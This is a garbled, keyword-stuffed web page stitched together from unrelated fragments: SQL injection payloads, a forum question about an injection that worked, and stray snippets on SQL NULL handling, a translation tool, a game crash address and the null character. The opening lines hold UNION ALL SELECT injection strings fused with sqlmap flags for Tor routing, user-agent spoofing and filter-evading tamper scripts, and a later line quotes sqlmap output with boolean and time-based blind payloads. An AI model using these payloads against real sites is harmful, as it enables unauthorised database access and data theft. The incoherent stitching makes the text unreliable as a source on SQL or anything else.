hitman+2+silent+assassin--tor--random-agent--level=5--risk=3--tamper=space2comment+UNION+ALL+SELECT+NULL,NULL,CONCAT(0x717a6a7171,0x73674c5542464a655665,0x716b6b6b71),NULL,NULL,NULL,NULL,NULL,NULL,NULL, NULL# patches.
Возможность перевести текст из буфера обмена, веб-страницу или документ на многие языки.
id=1 LIMIT 1,1 UNION ALL SELECT NULL, NULL, CONCAT(0x3a717a753a,0x58797556477664726652,0x3a6561643a), NULL, NULL#.
Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it works can somebody help me...
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Payload: id=4' AND 5143=5143-- OWXt Vector: AND [INFERENCE] Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=4' AND (SELECT 4841 FROM
In SQL, a comparison between a null value and any other value (including another null) using a comparison operator (eg =, !=, <, etc) will result in a null, which is considered as false for the purposes of a where clause (strictly speaking, it's "not true", rather than "false", but the effect is the same).
The IS NULL operator is used to test for empty values (NULL values). The following SQL lists all customers with a NULL value in the "Address" field: Example. SELECT CustomerName, ContactName, Address FROM Customers WHERE Address IS NULL
Вот адрес ошибки: SA-MP 0.3.7 Exception At Address: 0x77D0EB75 Base: 0x043C0000.
The null character (also null terminator or null byte) is a control character with the value zero. It is present in many character sets, including ISO/IEC 646 (or ASCII), the C0 control code, the Universal Coded Character Set (or Unicode), and EBCDIC.